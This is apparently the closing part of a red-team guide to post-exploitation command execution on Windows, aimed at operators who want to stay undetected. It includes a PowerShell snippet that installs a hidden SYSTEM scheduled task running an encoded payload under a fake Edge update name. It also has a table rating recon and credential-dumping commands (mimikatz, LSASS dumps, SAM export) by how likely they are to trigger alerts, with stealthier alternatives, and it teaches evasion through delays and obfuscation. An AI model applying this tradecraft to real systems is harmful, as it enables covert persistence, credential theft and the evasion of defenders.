# Scheduled task persistence (least noisy if done right)
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-w hidden -enc <base64_payload>"
$trigger = New-ScheduledTaskTrigger -Daily -At "09:00AM"  # Business hours
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
$settings = New-ScheduledTaskSettingsSet -Hidden

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
    -Action $action -Trigger $trigger -Principal $principal -Settings $settings

# Use legitimate-sounding name (Edge, Adobe, Windows Update patterns)

📚 Quick Reference: Command Risk Matrix

Command Risk Levels

Command Risk Logged Where Alert Likelihood Safe Alternative
whoami 🟢 LOW Event 4688, Sysmon 1 Low (common) .NET: [Security.Principal.WindowsIdentity]::GetCurrent().Name
whoami /all 🟡 MEDIUM Event 4688, Sysmon 1 Medium (recon indicator) .NET: [Security.Principal.WindowsIdentity]::GetCurrent()
hostname 🟢 LOW Event 4688 Very Low $env:COMPUTERNAME
ipconfig 🟢 LOW Event 4688 Very Low Get-NetIPConfiguration
ipconfig /all 🟢 LOW Event 4688 Low Get-NetIPConfiguration -Detailed
systeminfo 🟡 MEDIUM Event 4688 Medium (recon) Get-CimInstance Win32_OperatingSystem
tasklist 🟢 LOW Event 4688 Low Get-Process
net user 🟡 MEDIUM Event 4688 Medium Get-LocalUser
net user /domain 🟠 HIGH Event 4688, domain query logs High (domain recon) Get-ADUser -Filter * (throttled)
net group "domain admins" /domain 🔴 CRITICAL Event 4688, domain query logs Very High (targeting admins) LDAP query (still risky, throttle)
net view 🟠 HIGH Event 4688 High (share enum) Get-SmbShare
nltest /dclist 🟠 HIGH Event 4688 High (DC discovery) .NET: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers
ping <subnet> (sweep) 🔴 CRITICAL Network logs, Event 4688 Very High (network scan) Parse ARP cache, slow ping (1 per 5 min)
nmap 🔴 CRITICAL Network IDS/IPS Very High (port scan) Slow scan -T1, or avoid
mimikatz.exe 🔴 CRITICAL Event 4688, Sysmon 1, behavioral Instant alert Alternative tools, offline dumps
procdump -ma lsass 🔴 CRITICAL Event 4688, Sysmon 10 (LSASS access) Instant alert comsvcs.dll method (still risky)
reg save HKLM\SAM 🟠 HIGH Event 4688, Event 4663 (object access) High Requires SYSTEM, logged
vssadmin delete shadows 🔴 CRITICAL Event 4688 Instant alert (ransomware) NEVER delete VSS
wevtutil cl Security 🔴 CRITICAL Event 1102 Instant alert NEVER clear logs
powershell -enc <base64> 🟠 HIGH Event 4688, 4104 (decoded) High (obfuscation) Direct .NET assembly execution

Legend:


🎓 Final Command OPSEC Principles

The "5 D's" of Command Execution

  1. DELAY: Space commands with 2-10 minute gaps minimum
  2. DISGUISE: Use native tools (WMI, .NET) over standalone executables
  3. DIRECT: Minimize process creation; use in-memory .NET calls when possible
  4. DELIBERATE: Every command should have clear purpose; no exploratory "let's see what this does"
  5. DOCUMENTED: Know what each command will log before execution

Command Execution Priorities

Priority Order (High to Low):

  1. Infer without command: Can you figure it out from existing data?
  2. Read-only, no process spawn: .NET calls, environment variables, in-memory queries
  3. Legitimate cmdlets/tools: PowerShell cmdlets, WMI, native Windows tools
  4. Obfuscated execution: If you must use suspicious commands, obfuscate
  5. Last resort: High-risk commands (credential dumping, lateral movement tools)

Red Flags to Avoid

Command patterns that INSTANTLY alert:


📖 Additional Resources

Command-Line OPSEC Research

Detection Understanding


Last Updated: 2026-02-04
Focus: Post-exploitation command execution with OPSEC
Audience: Red team operators with initial access needing to remain undetected


END OF GUIDE